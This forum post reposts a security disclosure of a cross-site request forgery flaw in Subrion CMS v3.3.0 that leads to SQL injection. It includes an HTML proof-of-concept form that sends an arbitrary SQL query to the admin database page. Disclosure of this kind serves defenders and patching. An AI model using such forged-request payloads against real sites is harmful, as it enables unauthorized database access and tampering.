Aerosol Posted March 20, 2015 Report Posted March 20, 2015 # Affected software: subrion# Type of vulnerability: csrf to sql injection# URL: http://demo.subrion.org# Discovered by: Provensec# Website: http://www.provensec.com#version v3.3.0# Proof of conceptno csrf protection on database form which made subrion to vulnerableto database injectionvuln parameter querypoc:<html> <body> <form action="http://demo.subrion.org/admin/database/" method="POST"> <input type="hidden" name="query"value="SELECT * FROM `sbr301_albums` `id` "/> <input type="hidden" name="table" value="sbr301_albums" /> <input type="hidden" name="field" value="id" /> <input type="hidden" name="exec_query" value="Go" /> <input type="submit" value="Submit request" /> </form> </body></html>Source Quote
